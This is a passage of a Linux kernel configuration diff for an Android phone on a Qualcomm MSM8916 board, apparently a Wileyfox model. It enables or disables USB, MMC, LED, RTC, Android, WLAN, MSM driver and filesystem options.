CONFIG_USB_SERIAL_METRO is not set +# CONFIG_USB_SERIAL_MOS7720 is not set +# CONFIG_USB_SERIAL_MOS7840 is not set +# CONFIG_USB_SERIAL_MOTOROLA is not set +# CONFIG_USB_SERIAL_NAVMAN is not set +# CONFIG_USB_SERIAL_PL2303 is not set +# CONFIG_USB_SERIAL_OTI6858 is not set +# CONFIG_USB_SERIAL_QCAUX is not set +# CONFIG_USB_SERIAL_QUALCOMM is not set +# CONFIG_USB_SERIAL_SPCP8X5 is not set +# CONFIG_USB_SERIAL_HP4X is not set +# CONFIG_USB_SERIAL_SAFE is not set +# CONFIG_USB_SERIAL_SIEMENS_MPI is not set +# CONFIG_USB_SERIAL_SIERRAWIRELESS is not set +# CONFIG_USB_SERIAL_SYMBOL is not set +# CONFIG_USB_SERIAL_TI is not set +# CONFIG_USB_SERIAL_CYBERJACK is not set +# CONFIG_USB_SERIAL_XIRCOM is not set +# CONFIG_USB_SERIAL_OPTION is not set +# CONFIG_USB_SERIAL_OMNINET is not set +# CONFIG_USB_SERIAL_OPTICON is not set +# CONFIG_USB_SERIAL_VIVOPAY_SERIAL is not set +# CONFIG_USB_SERIAL_XSENS_MT is not set +# CONFIG_USB_SERIAL_ZIO is not set +# CONFIG_USB_SERIAL_WISHBONE is not set +# CONFIG_USB_SERIAL_ZTE is not set +# CONFIG_USB_SERIAL_SSU100 is not set +# CONFIG_USB_SERIAL_QT2 is not set +CONFIG_USB_SERIAL_CSVT=y +# CONFIG_USB_SERIAL_DEBUG is not set + +# +# USB Miscellaneous drivers +# +# CONFIG_USB_EMI62 is not set +# CONFIG_USB_EMI26 is not set +# CONFIG_USB_ADUTUX is not set +# CONFIG_USB_SEVSEG is not set +# CONFIG_USB_RIO500 is not set +# CONFIG_USB_LEGOTOWER is not set +# CONFIG_USB_LCD is not set +# CONFIG_USB_LED is not set +# CONFIG_USB_CYPRESS_CY7C63 is not set +# CONFIG_USB_CYTHERM is not set +# CONFIG_USB_IDMOUSE is not set +# CONFIG_USB_FTDI_ELAN is not set +# CONFIG_USB_APPLEDISPLAY is not set +# CONFIG_USB_SISUSBVGA is not set +# CONFIG_USB_LD is not set +# CONFIG_USB_TRANCEVIBRATOR is not set +# CONFIG_USB_IOWARRIOR is not set +# CONFIG_USB_TEST is not set +CONFIG_USB_EHSET_TEST_FIXTURE=y +# CONFIG_USB_ISIGHTFW is not set +# CONFIG_USB_YUREX is not set +# CONFIG_USB_EZUSB_FX2 is not set +# CONFIG_USB_HSIC_USB3503 is not set +# CONFIG_USB_QCOM_DIAG_BRIDGE is not set +# CONFIG_USB_QCOM_MDM_BRIDGE is not set +# CONFIG_USB_QCOM_KS_BRIDGE is not set +# CONFIG_USB_QCOM_IPC_BRIDGE is not set +CONFIG_USB_PHY=y +CONFIG_USB_OTG_WAKELOCK=y +# CONFIG_NOP_USB_XCEIV is not set +# CONFIG_OMAP_CONTROL_USB is not set +# CONFIG_OMAP_USB3 is not set +# CONFIG_SAMSUNG_USBPHY is not set +# CONFIG_SAMSUNG_USB2PHY is not set +# CONFIG_SAMSUNG_USB3PHY is not set +# CONFIG_USB_MSM_OTG_72K is not set +# CONFIG_USB_GPIO_VBUS is not set +# CONFIG_USB_ISP1301 is not set +CONFIG_USB_MSM_OTG=y +# CONFIG_USB_MSM_ACA is not set +# CONFIG_USB_MSM_HSPHY is not set +# CONFIG_USB_MSM_SSPHY is not set +# CONFIG_USB_MSM_SSPHY_QMP is not set +# CONFIG_MSM_QUSB_PHY is not set +# CONFIG_USB_RCAR_PHY is not set +# CONFIG_USB_ULPI is not set +CONFIG_USB_GADGET=y +# CONFIG_USB_GADGET_DEBUG is not set +CONFIG_USB_GADGET_DEBUG_FILES=y +CONFIG_USB_GADGET_DEBUG_FS=y +CONFIG_USB_GADGET_VBUS_DRAW=500 +CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2 + +# +# USB Peripheral Controller +# +# CONFIG_USB_FUSB300 is not set +# CONFIG_USB_R8A66597 is not set +# CONFIG_USB_PXA27X is not set +# CONFIG_USB_MV_UDC is not set +# CONFIG_USB_MV_U3D is not set +# CONFIG_USB_M66592 is not set +# CONFIG_USB_NET2272 is not set +CONFIG_USB_CI13XXX_MSM=y +# CONFIG_USB_CI13XXX_MSM_HSIC is not set +# CONFIG_USB_DWC3_MSM is not set +# CONFIG_USB_DUMMY_HCD is not set +CONFIG_USB_LIBCOMPOSITE=y +CONFIG_USB_F_ACM=y +CONFIG_USB_U_SERIAL=y +CONFIG_USB_F_SERIAL=y +# CONFIG_USB_ZERO is not set +# CONFIG_USB_AUDIO is not set +# CONFIG_USB_ETH is not set +# CONFIG_USB_G_NCM is not set +# CONFIG_USB_GADGETFS is not set +# CONFIG_USB_FUNCTIONFS is not set +# CONFIG_USB_MASS_STORAGE is not set +# CONFIG_USB_G_SERIAL is not set +# CONFIG_USB_MIDI_GADGET is not set +# CONFIG_USB_G_PRINTER is not set +CONFIG_USB_G_ANDROID=y +# CONFIG_USB_ANDROID_RNDIS_DWORD_ALIGNED is not set +# CONFIG_USB_CDC_COMPOSITE is not set +# CONFIG_USB_G_ACM_MS is not set +# CONFIG_USB_G_MULTI is not set +# CONFIG_USB_G_HID is not set +# CONFIG_USB_G_DBGP is not set +# CONFIG_USB_G_WEBCAM is not set +CONFIG_USB_CSW_HACK=y +# CONFIG_USB_MSC_PROFILING is not set +CONFIG_MODEM_SUPPORT=y +CONFIG_RMNET_SMD_CTL_CHANNEL="" +CONFIG_RMNET_SMD_DATA_CHANNEL="" +CONFIG_MMC=y +# CONFIG_MMC_DEBUG is not set +CONFIG_MMC_PERF_PROFILING=y +CONFIG_MMC_UNSAFE_RESUME=y +CONFIG_MMC_CLKGATE=y +CONFIG_MMC_EMBEDDED_SDIO=y +CONFIG_MMC_PARANOID_SD_INIT=y + +# +# MMC/SD/SDIO Card Drivers +# +CONFIG_MMC_BLOCK=y +CONFIG_MMC_BLOCK_MINORS=32 +CONFIG_MMC_BLOCK_BOUNCE=y +CONFIG_MMC_BLOCK_DEFERRED_RESUME=y +# CONFIG_SDIO_UART is not set +# CONFIG_MMC_TEST is not set +# CONFIG_MMC_YL_PARAMS is not set + +# +# MMC/SD/SDIO Host Controller Drivers +# +CONFIG_MMC_SDHCI=y +CONFIG_MMC_SDHCI_PLTFM=y +CONFIG_MMC_SDHCI_MSM=y +# CONFIG_MMC_SDHCI_PXAV3 is not set +# CONFIG_MMC_SDHCI_PXAV2 is not set +# CONFIG_MMC_DW is not set +# CONFIG_MMC_VUB300 is not set +# CONFIG_MMC_USHC is not set +# CONFIG_MEMSTICK is not set +CONFIG_NEW_LEDS=y +CONFIG_LEDS_CLASS=y + +# +# LED drivers +# +# CONFIG_LEDS_LM3530 is not set +# CONFIG_LEDS_LM3642 is not set +# CONFIG_LEDS_PCA9532 is not set +CONFIG_LEDS_GPIO=y +# CONFIG_LEDS_LP3944 is not set +# CONFIG_LEDS_LP5521 is not set +# CONFIG_LEDS_LP5523 is not set +# CONFIG_LEDS_LP5562 is not set +# CONFIG_LEDS_PCA955X is not set +# CONFIG_LEDS_PCA9633 is not set +# CONFIG_LEDS_QPNP is not set +# CONFIG_LEDS_QPNP_FLASH is not set +# CONFIG_LEDS_QPNP_WLED is not set +CONFIG_LEDS_MSM_GPIO_FLASH=y +# CONFIG_LEDS_MSM_GPIO_FLASH_CKT is not set +# CONFIG_LEDS_DAC124S085 is not set +# CONFIG_LEDS_PWM is not set +# CONFIG_LEDS_REGULATOR is not set +CONFIG_LEDS_AW2013=y +# CONFIG_SET_AW2013_VCC_AND_NOT_PULLDWN is not set +# CONFIG_LEDS_BD2802 is not set +# CONFIG_LEDS_LT3593 is not set +# CONFIG_LEDS_RENESAS_TPU is not set +# CONFIG_LEDS_TCA6507 is not set +# CONFIG_LEDS_LM355x is not set +# CONFIG_LEDS_OT200 is not set +# CONFIG_LEDS_BLINKM is not set + +# +# LED Triggers +# +CONFIG_LEDS_TRIGGERS=y +# CONFIG_LEDS_TRIGGER_TIMER is not set +# CONFIG_LEDS_TRIGGER_ONESHOT is not set +# CONFIG_LEDS_TRIGGER_HEARTBEAT is not set +# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set +# CONFIG_LEDS_TRIGGER_CPU is not set +# CONFIG_LEDS_TRIGGER_GPIO is not set +# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set + +# +# iptables trigger is under Netfilter config (LED target) +# +# CONFIG_LEDS_TRIGGER_TRANSIENT is not set +# CONFIG_LEDS_TRIGGER_CAMERA is not set +CONFIG_SWITCH=y +# CONFIG_SWITCH_GPIO is not set +# CONFIG_ACCESSIBILITY is not set +# CONFIG_EDAC is not set +CONFIG_RTC_LIB=y +CONFIG_RTC_CLASS=y +CONFIG_RTC_HCTOSYS=y +CONFIG_RTC_SYSTOHC=y +CONFIG_RTC_HCTOSYS_DEVICE="rtc0" +# CONFIG_RTC_DEBUG is not set + +# +# RTC interfaces +# +CONFIG_RTC_INTF_SYSFS=y +CONFIG_RTC_INTF_PROC=y +CONFIG_RTC_INTF_DEV=y +# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set +# CONFIG_RTC_DRV_TEST is not set + +# +# I2C RTC drivers +# +# CONFIG_RTC_DRV_DS1307 is not set +# CONFIG_RTC_DRV_DS1374 is not set +# CONFIG_RTC_DRV_DS1672 is not set +# CONFIG_RTC_DRV_DS3232 is not set +# CONFIG_RTC_DRV_MAX6900 is not set +# CONFIG_RTC_DRV_RS5C372 is not set +# CONFIG_RTC_DRV_ISL1208 is not set +# CONFIG_RTC_DRV_ISL12022 is not set +# CONFIG_RTC_DRV_X1205 is not set +# CONFIG_RTC_DRV_PCF8523 is not set +# CONFIG_RTC_DRV_PCF8563 is not set +# CONFIG_RTC_DRV_PCF8583 is not set +# CONFIG_RTC_DRV_M41T80 is not set +# CONFIG_RTC_DRV_BQ32K is not set +# CONFIG_RTC_DRV_S35390A is not set +# CONFIG_RTC_DRV_FM3130 is not set +# CONFIG_RTC_DRV_RX8581 is not set +# CONFIG_RTC_DRV_RX8025 is not set +# CONFIG_RTC_DRV_EM3027 is not set +# CONFIG_RTC_DRV_RV3029C2 is not set + +# +# SPI RTC drivers +# +# CONFIG_RTC_DRV_M41T93 is not set +# CONFIG_RTC_DRV_M41T94 is not set +# CONFIG_RTC_DRV_DS1305 is not set +# CONFIG_RTC_DRV_DS1390 is not set +# CONFIG_RTC_DRV_MAX6902 is not set +# CONFIG_RTC_DRV_R9701 is not set +# CONFIG_RTC_DRV_RS5C348 is not set +# CONFIG_RTC_DRV_DS3234 is not set +# CONFIG_RTC_DRV_PCF2123 is not set +# CONFIG_RTC_DRV_RX4581 is not set + +# +# Platform RTC drivers +# +# CONFIG_RTC_DRV_CMOS is not set +# CONFIG_RTC_DRV_DS1286 is not set +# CONFIG_RTC_DRV_DS1511 is not set +# CONFIG_RTC_DRV_DS1553 is not set +# CONFIG_RTC_DRV_DS1742 is not set +# CONFIG_RTC_DRV_STK17TA8 is not set +# CONFIG_RTC_DRV_M48T86 is not set +# CONFIG_RTC_DRV_M48T35 is not set +# CONFIG_RTC_DRV_M48T59 is not set +# CONFIG_RTC_DRV_MSM6242 is not set +# CONFIG_RTC_DRV_BQ4802 is not set +# CONFIG_RTC_DRV_RP5C01 is not set +# CONFIG_RTC_DRV_V3020 is not set +# CONFIG_RTC_DRV_DS2404 is not set + +# +# on-CPU RTC drivers +# +# CONFIG_RTC_DRV_SNVS is not set +CONFIG_RTC_DRV_QPNP=y + +# +# HID Sensor RTC drivers +# +# CONFIG_RTC_DRV_HID_SENSOR_TIME is not set +# CONFIG_ESOC is not set +CONFIG_DMADEVICES=y +# CONFIG_DMADEVICES_DEBUG is not set + +# +# DMA Devices +# +CONFIG_QCOM_SPS_DMA=y +# CONFIG_TIMB_DMA is not set +CONFIG_DMA_ENGINE=y +CONFIG_DMA_OF=y + +# +# DMA Clients +# +# CONFIG_ASYNC_TX_DMA is not set +# CONFIG_DMATEST is not set +# CONFIG_AUXDISPLAY is not set +CONFIG_UIO=y +# CONFIG_UIO_PDRV is not set +# CONFIG_UIO_PDRV_GENIRQ is not set +# CONFIG_UIO_DMEM_GENIRQ is not set +CONFIG_UIO_MSM_SHAREDMEM=y +# CONFIG_VFIO is not set +# CONFIG_VIRT_DRIVERS is not set + +# +# Virtio drivers +# +# CONFIG_VIRTIO_MMIO is not set + +# +# Microsoft Hyper-V guest support +# +CONFIG_STAGING=y +# CONFIG_USBIP_CORE is not set +# CONFIG_PRISM2_USB is not set +# CONFIG_ECHO is not set +# CONFIG_ASUS_OLED is not set +# CONFIG_R8712U is not set +# CONFIG_RTS5139 is not set +# CONFIG_TRANZPORT is not set +# CONFIG_LINE6_USB is not set +# CONFIG_USB_SERIAL_QUATECH2 is not set +# CONFIG_BCM_WIMAX is not set +# CONFIG_FT1000 is not set + +# +# Speakup console speech +# +# CONFIG_TOUCHSCREEN_CLEARPAD_TM1217 is not set +# CONFIG_STAGING_MEDIA is not set + +# +# Android +# +CONFIG_ANDROID=y +CONFIG_ANDROID_BINDER_IPC=y +CONFIG_ANDROID_BINDER_IPC_32BIT=y +CONFIG_ASHMEM=y +# CONFIG_ANDROID_LOGGER is not set +CONFIG_ANDROID_TIMED_OUTPUT=y +CONFIG_ANDROID_TIMED_GPIO=y +CONFIG_ANDROID_LOW_MEMORY_KILLER=y +CONFIG_ANDROID_LOW_MEMORY_KILLER_AUTODETECT_OOM_ADJ_VALUES=y +CONFIG_ANDROID_INTF_ALARM_DEV=y +CONFIG_SYNC=y +CONFIG_SW_SYNC=y +# CONFIG_SW_SYNC_USER is not set +CONFIG_ONESHOT_SYNC=y +# CONFIG_ONESHOT_SYNC_USER is not set +CONFIG_ION=y +# CONFIG_ION_TEST is not set +CONFIG_ION_MSM=y +CONFIG_ALLOC_BUFFERS_IN_4K_CHUNKS=y +# CONFIG_FIQ_DEBUGGER is not set +# CONFIG_FIQ_WATCHDOG is not set +# CONFIG_USB_WPAN_HCD is not set +# CONFIG_WIMAX_GDM72XX is not set +# CONFIG_CED1401 is not set +# CONFIG_DGRP is not set + +# +# Qualcomm Atheros Prima WLAN module +# +# CONFIG_PRIMA_WLAN is not set +CONFIG_PRONTO_WLAN=y +# CONFIG_PRIMA_WLAN_BTAMP is not set +CONFIG_PRIMA_WLAN_LFR=y +CONFIG_PRIMA_WLAN_OKC=y +CONFIG_PRIMA_WLAN_11AC_HIGH_TP=y +CONFIG_QCOM_TDLS=y +CONFIG_WLAN_FEATURE_11W=y +CONFIG_QCOM_VOWIFI_11R=y +CONFIG_ENABLE_LINUX_REG=y +# CONFIG_WLAN_OFFLOAD_PACKETS is not set +# CONFIG_MACH_CKT is not set +# CONFIG_MACH_CKT_MSM8939 is not set + +# +# CK Telecom board selection +# +# CONFIG_MACH_SPIRIT is not set +# CONFIG_MACH_HUAQIN is not set +# CONFIG_MACH_HUAQIN_MSM8916 is not set + +# +# Huaqin board selection +# +# CONFIG_MACH_JALEBI is not set + + +# +# Qualcomm MSM specific device drivers +# +# CONFIG_MSM_SSBI is not set +CONFIG_SPS=y +CONFIG_USB_BAM=y +# CONFIG_SPS_SUPPORT_BAMDMA is not set +CONFIG_SPS_SUPPORT_NDP_BAM=y +CONFIG_QPNP_POWER_ON=y +# CONFIG_QPNP_CLKDIV is not set +CONFIG_QPNP_VIBRATOR=y +CONFIG_QPNP_REVID=y +# CONFIG_QPNP_COINCELL is not set +# CONFIG_QPNP_USB_DETECT is not set +# CONFIG_IPA is not set +# CONFIG_KLM is not set +CONFIG_MSM_AVTIMER=y +# CONFIG_SSM is not set +# CONFIG_MSM_MHI is not set +# CONFIG_QCA1530 is not set +# CONFIG_PFT is not set +# CONFIG_MSM_SPSS is not set +CONFIG_MSM_BUS_SCALING=y +CONFIG_BUS_TOPOLOGY_ADHOC=y +# CONFIG_DEBUG_BUS_VOTER is not set +# CONFIG_I2C_MSM_PROF_DBG is not set +# CONFIG_MSM_UIM_HSL is not set +# CONFIG_QPNP_HAPTIC is not set +# CONFIG_SEEMP_CORE is not set +# CONFIG_MACH_HAIER is not set +# CONFIG_MACH_HAIER_MSM8916 is not set + +# +# Haier board selection +# +# CONFIG_MACH_RENDANG is not set +CONFIG_MACH_WILEYFOX=y +CONFIG_MACH_WILEYFOX_MSM8916=y + +# +# Wileyfox board selection +# +CONFIG_MACH_CRACKLING=y +# CONFIG_MACH_T86519A1 is not set +# CONFIG_MACH_YULONG is not set +# CONFIG_MACH_YULONG_MSM8939 is not set + +# +# Yulong board selection +# +# CONFIG_MACH_CP8675 is not set + +# +# Yulong features +# +# CONFIG_YL_POWEROFF_ALARM is not set +CONFIG_CLKDEV_LOOKUP=y +CONFIG_HAVE_CLK_PREPARE=y +# CONFIG_MSM_CLK_CONTROLLER_V2 is not set +CONFIG_MSM_MDSS_PLL=y +CONFIG_HWSPINLOCK=y + +# +# Hardware Spinlock drivers +# +CONFIG_REMOTE_SPINLOCK_MSM=y +CONFIG_CLKSRC_OF=y +CONFIG_ARM_ARCH_TIMER=y +CONFIG_ARM_ARCH_TIMER_EVTSTREAM=y +# CONFIG_MAILBOX is not set +CONFIG_IOMMU_SUPPORT=y +CONFIG_OF_IOMMU=y +CONFIG_MSM_IOMMU=y +CONFIG_MSM_IOMMU_V1=y +# CONFIG_IOMMU_PGTABLES_L2 is not set +# CONFIG_IOMMU_LPAE is not set +# CONFIG_MSM_IOMMU_VBIF_CHECK is not set +# CONFIG_IOMMU_NON_SECURE is not set +# CONFIG_IOMMU_FORCE_4K_MAPPINGS is not set +# CONFIG_MMU500_ACTIVE_PREFETCH_BUG_WITH_SECTION_MAPPING is not set + +# +# Remoteproc drivers +# +# CONFIG_STE_MODEM_RPROC is not set + +# +# Rpmsg drivers +# +CONFIG_PM_DEVFREQ=y + +# +# DEVFREQ Governors +# +CONFIG_DEVFREQ_GOV_SIMPLE_ONDEMAND=y +CONFIG_DEVFREQ_GOV_PERFORMANCE=y +CONFIG_DEVFREQ_GOV_POWERSAVE=y +CONFIG_DEVFREQ_GOV_USERSPACE=y +CONFIG_DEVFREQ_GOV_CPUFREQ=y +CONFIG_DEVFREQ_GOV_MSM_ADRENO_TZ=y +CONFIG_MSM_BIMC_BWMON=y +CONFIG_ARMBW_HWMON=y +CONFIG_DEVFREQ_GOV_MSM_GPUBW_MON=y +CONFIG_DEVFREQ_GOV_MSM_BW_HWMON=y +# CONFIG_DEVFREQ_GOV_MSM_CACHE_HWMON is not set +# CONFIG_DEVFREQ_GOV_SPDM_HYP is not set + +# +# DEVFREQ Drivers +# +CONFIG_DEVFREQ_SIMPLE_DEV=y +CONFIG_MSM_DEVFREQ_DEVBW=y +# CONFIG_DEVFREQ_SPDM is not set +# CONFIG_EXTCON is not set +# CONFIG_MEMORY is not set +# CONFIG_IIO is not set +CONFIG_PWM=y +CONFIG_PWM_QPNP=y +CONFIG_IRQCHIP=y +CONFIG_ARM_GIC=y +CONFIG_MSM_SHOW_RESUME_IRQ=y +CONFIG_MSM_IRQ=y +# CONFIG_IPACK_BUS is not set +# CONFIG_MOBICORE_SUPPORT is not set +# CONFIG_RESET_CONTROLLER is not set +# CONFIG_CORESIGHT is not set +# CONFIG_BIF is not set +CONFIG_SENSORS=y +# CONFIG_SENSORS_SSC is not set + +# +# PHY Subsystem +# +# CONFIG_GENERIC_PHY is not set +# CONFIG_PHY_MSM_SATA is not set +CONFIG_MSM_BAM_DMUX=y +CONFIG_MSM_EVENT_TIMER=y +CONFIG_MSM_IPC_ROUTER_SMD_XPRT=y +# CONFIG_MSM_JTAG is not set +# CONFIG_MSM_JTAG_MM is not set +# CONFIG_MSM_JTAGV8 is not set +CONFIG_MSM_QMI_INTERFACE=y +CONFIG_MSM_SMD=y +# CONFIG_MSM_SMD_DEBUG is not set +CONFIG_MSM_MPM_OF=y +CONFIG_MSM_RPM_SMD=y +# CONFIG_MSM_RPM_RBCPR_STATS_V2_LOG is not set +CONFIG_MSM_RPM_LOG=y +CONFIG_MSM_RPM_STATS_LOG=y +CONFIG_MSM_RUN_QUEUE_STATS=y +CONFIG_MSM_SMEM=y +CONFIG_MSM_SMEM_LOGGING=y +CONFIG_MSM_SMP2P=y +CONFIG_MSM_SMP2P_TEST=y +CONFIG_MSM_SPM=y +CONFIG_MSM_L2_SPM=y +# CONFIG_MSM_QDSP6_APRV2 is not set +CONFIG_MSM_QDSP6_APRV3=y +CONFIG_MSM_ADSP_LOADER=y +# CONFIG_MSM_MEMORY_DUMP is not set +CONFIG_MSM_MEMORY_DUMP_V2=y +# CONFIG_MSM_DEBUG_LAR_UNLOCK is not set +# CONFIG_MSM_DDR_HEALTH is not set +CONFIG_MSM_COMMON_LOG=y +CONFIG_MSM_WATCHDOG_V2=y +# CONFIG_MSM_FORCE_WDOG_BITE_ON_PANIC is not set +# CONFIG_MSM_HVC is not set +# CONFIG_MSM_HYP_DEBUG is not set +CONFIG_MSM_SUBSYSTEM_RESTART=y +CONFIG_MSM_SYSMON_COMM=y +CONFIG_MSM_PIL=y +CONFIG_MSM_PIL_SSR_GENERIC=y +CONFIG_MSM_PIL_MSS_QDSP6V5=y +CONFIG_MSM_OCMEM=y +CONFIG_MSM_OCMEM_LOCAL_POWER_CTRL=y +# CONFIG_MSM_OCMEM_DEBUG is not set +# CONFIG_MSM_OCMEM_POWER_DISABLE is not set +CONFIG_MSM_BOOT_STATS=y +CONFIG_MSM_SCM=y +# CONFIG_MAXIMUM_CURRENT_THROTTLING is not set +CONFIG_MSM_CPU_PWR_CTL=y +# CONFIG_MSM_XPU_ERR_FATAL is not set +# CONFIG_MSM_CACHE_DUMP is not set +# CONFIG_MSM_CPUSS_DUMP is not set +# CONFIG_MSM_SHARED_HEAP_ACCESS is not set +# CONFIG_MSM_SYSTEM_HEALTH_MONITOR is not set +# CONFIG_QCOM_EARLY_RANDOM is not set +# CONFIG_MSM_PACMAN is not set +# CONFIG_MSM_CORE_CTL_HELPER is not set +CONFIG_MSM_PERFORMANCE=y +# CONFIG_MSM_PERFORMANCE_HOTPLUG_ON is not set +CONFIG_STATE_NOTIFIER=y +CONFIG_AUTOSMP=y +CONFIG_MEM_SHARE_QMI_SERVICE=y + +# +# Firmware Drivers +# +# CONFIG_FIRMWARE_MEMMAP is not set +CONFIG_MSM_TZ_LOG=y + +# +# File systems +# +CONFIG_DCACHE_WORD_ACCESS=y +# CONFIG_EXT2_FS is not set +# CONFIG_EXT3_FS is not set +CONFIG_EXT4_FS=y +CONFIG_EXT4_USE_FOR_EXT23=y +CONFIG_EXT4_FS_POSIX_ACL=y +CONFIG_EXT4_FS_SECURITY=y +# CONFIG_EXT4_DEBUG is not set +CONFIG_JBD2=y +# CONFIG_JBD2_DEBUG is not set +CONFIG_FS_MBCACHE=y +# CONFIG_REISERFS_FS is not set +# CONFIG_JFS_FS is not set +# CONFIG_XFS_FS is not set +# CONFIG_GFS2_FS is not set +# CONFIG_OCFS2_FS is not set +# CONFIG_BTRFS_FS is not set +# CONFIG_NILFS2_FS is not set +CONFIG_FS_POSIX_ACL=y +CONFIG_FILE_LOCKING=y +# CONFIG_FS_ENCRYPTION is not set +CONFIG_FSNOTIFY=y +CONFIG_DNOTIFY=y +CONFIG_INOTIFY_USER=y +# CONFIG_FANOTIFY is not set +CONFIG_QUOTA=y +# CONFIG_QUOTA_NETLINK_INTERFACE is not set +CONFIG_PRINT_QUOTA_WARNING=y +# CONFIG_QUOTA_DEBUG is not set +# CONFIG_QFMT_V1 is not set +# CONFIG_QFMT_V2 is not set +CONFIG_QUOTACTL=y +# CONFIG_AUTOFS4_FS is not set +CONFIG_FUSE_FS=y +# CONFIG_CUSE is not set +CONFIG_GENERIC_ACL=y + +# +# Caches +# +# CONFIG_FSCACHE is not set + +# +# CD-ROM/DVD Filesystems +# +# CONFIG_ISO9660_FS is not set +# CONFIG_UDF_FS is not set + +# +# DOS/FAT/NT Filesystems +# +CONFIG_FAT_FS=y +CONFIG_MSDOS_FS=y +CONFIG_VFAT_FS=y +CONFIG_FAT_DEFAULT_CODEPAGE=437 +CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" +CONFIG_EXFAT_FS=y +# CONFIG_EXFAT_DISCARD is not set +# CONFIG_EXFAT_DELAYED_SYNC is not set +# CONFIG_EXFAT_KERNEL_DEBUG is not set +# CONFIG_EXFAT_DEBUG_MSG is not set +CONFIG_EXFAT_DEFAULT_CODEPAGE=437 +CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" +CONFIG_NTFS_FS=y +# CONFIG_NTFS_DEBUG is not set +CONFIG_NTFS_RW=y + +# +# Pseudo filesystems +# +CONFIG_PROC_FS=y +CONFIG_PROC_SYSCTL=y +CONFIG_PROC_PAGE_MONITOR=y +CONFIG_SYSFS=y +CONFIG_TMPFS=y +CONFIG_TMPFS_POSIX_ACL=y +CONFIG_TMPFS_XATTR=y +# CONFIG_HUGETLB_PAGE is not set +CONFIG_CONFIGFS_FS=y +CONFIG_MISC_FILESYSTEMS=y +# CONFIG_ADFS_FS is not set +# CONFIG_AFFS_FS is not set +# CONFIG_ECRYPT_FS is not set +CONFIG_SDCARD_FS=y +# CONFIG_CONFIG_SDCARD_FS_ANDROID_PKGLIST is not set +# CONFIG_HFS_FS is not set +# CONFIG_HFSPLUS_FS is not set +# CONFIG_BEFS_FS is not set +# CONFIG_BFS_FS is not set +# CONFIG_EFS_FS is not set +# CONFIG_LOGFS is not set +# CONFIG_CRAMFS is not set +# CONFIG_SQUASHFS is not set +# CONFIG_VXFS_FS is not set +# CONFIG_MINIX_FS is not set +# CONFIG_OMFS_FS is not set +# CONFIG_HPFS_FS is not set +# CONFIG_QNX4FS_FS is not set +# CONFIG_QNX6FS_FS is not set +# CONFIG_ROMFS_FS is not set +CONFIG_PSTORE=y +CONFIG_PSTORE_CONSOLE=y +# CONFIG_PSTORE_PMSG is not set +CONFIG_PSTORE_RAM=y +# CONFIG_SYSV_FS is not set +# CONFIG_UFS_FS is not set +CONFIG_F2FS_FS=y +CONFIG_F2FS_STAT_FS=y +CONFIG_F2FS_FS_XATTR=y +CONFIG_F2FS_FS_POSIX_ACL=y +CONFIG_F2FS_FS_SECURITY=y +# CONFIG_F2FS_CHECK_FS is not set +# CONFIG_F2FS_FS_ENCRYPTION is not set +# CONFIG_F2FS_FAULT_INJECTION is not set +CONFIG_NETWORK_FILESYSTEMS=y +CONFIG_NFS_FS=y +CONFIG_NFS_V2=y +CONFIG_NFS_V3=y +# CONFIG_NFS_V3_ACL is not set +# CONFIG_NFS_V4 is not set +# CONFIG_NFS_SWAP is not set +# CONFIG_ROOT_NFS is not set +# CONFIG_NFSD is not set +CONFIG_LOCKD=y +CONFIG_LOCKD_V4=y +CONFIG_NFS_COMMON=y +CONFIG_SUNRPC=y +# CONFIG_SUNRPC_DEBUG is not set +# CONFIG_CEPH_FS is not set +CONFIG_CIFS=y +# CONFIG_CIFS_STATS is not set +# CONFIG_CIFS_WEAK_PW_HASH is not set +# CONFIG_CIFS_UPCALL is not set +# CONFIG_CIFS_XATTR is not set +# CONFIG_CIFS_DEBUG is not set +# CONFIG_CIFS_DFS_UPCALL is not set +# CONFIG_CIFS_SMB2 is not set +# CONFIG_NCP_FS is not set +# CONFIG_CODA_FS is not set +# CONFIG_AFS_FS is not set +CONFIG_NLS=y +CONFIG_NLS_DEFAULT="iso8859-1" +CONFIG_NLS_CODEPAGE_437=y +# CONFIG_NLS_CODEPAGE_737 is not set +# CONFIG_NLS_CODEPAGE_775 is not set +# CONFIG_NLS_CODEPAGE_850 is not set +# CONFIG_NLS_CODEPAGE_852 is not set +# CONFIG_NLS_CODEPAGE_855 is not set +# CONFIG_NLS_CODEPAGE_857 is not set +# CONFIG_NLS_CODEPAGE_860 is not set +# CONFIG_NLS_CODEPAGE_861 is not set +# CONFIG_NLS_CODEPAGE_862 is not set +# CONFIG_NLS_CODEPAGE_863 is not set +# CONFIG_NLS_CODEPAGE_864 is not set +# CONFIG_NLS_CODEPAGE_865 is not set +# CONFIG_NLS_CODEPAGE_866 is not set +# CONFIG_NLS_CODEPAGE_869 is not set +# CONFIG_NLS_CODEPAGE_936 is not set +# CONFIG_NLS_CODEPAGE_950 is not set +# CONFIG_NLS_CODEPAGE_932 is not set +# CONFIG_NLS_CODEPAGE_949 is not set +# CONFIG_NLS_CODEPAGE_874 is not set +# CONFIG_NLS_ISO8859_8 is not set +# CONFIG_NLS_CODEPAGE_1250 is not set +# CONFIG_NLS_CODEPAGE_1251 is not set +CONFIG_NLS_ASCII=y +CONFIG_NLS_ISO8859_1=y +# CONFIG_NLS_ISO8859_2 is not set +# CONFIG_NLS_ISO8859_3 is not set +# CONFIG_NLS_ISO8859_4 is not set +# CONFIG_NLS_ISO8859_5 is not set +# CONFIG_NLS_ISO8859_6 is not set +# CONFIG_NLS_ISO8859_7 is not set +# CONFIG_NLS_ISO8859_9 is not set +# CONFIG_NLS_ISO8859_13 is not set +# CONFIG_NLS_ISO8859_14 is not set +# CONFIG_NLS_ISO8859_15 is not set +# CONFIG_NLS_KOI8_R is not set +# CONFIG_NLS_KOI8_U is not set +# CONFIG_NLS_MAC_ROMAN is not set +# CONFIG_NLS_MAC_CELTIC is not set +# CONFIG_NLS_MAC_CENTEURO is not set +# CONFIG_NLS_MAC_CROATIAN is not set +# CONFIG_NLS_MAC_CYRILLIC is not set +# CONFIG_NLS_MAC_GAELIC is not set +# CONFIG_NLS_MAC_GREEK is not set +# CONFIG_NLS_MAC_ICELAND is not set +# CONFIG_NLS_MAC_INUIT is not set +# CONFIG_NLS_MAC_ROMANIAN is not set +# CONFIG_NLS_MAC_TURKISH is not set +# CONFIG_NLS_UTF8 is not set +# CONFIG_DLM is not set + +# 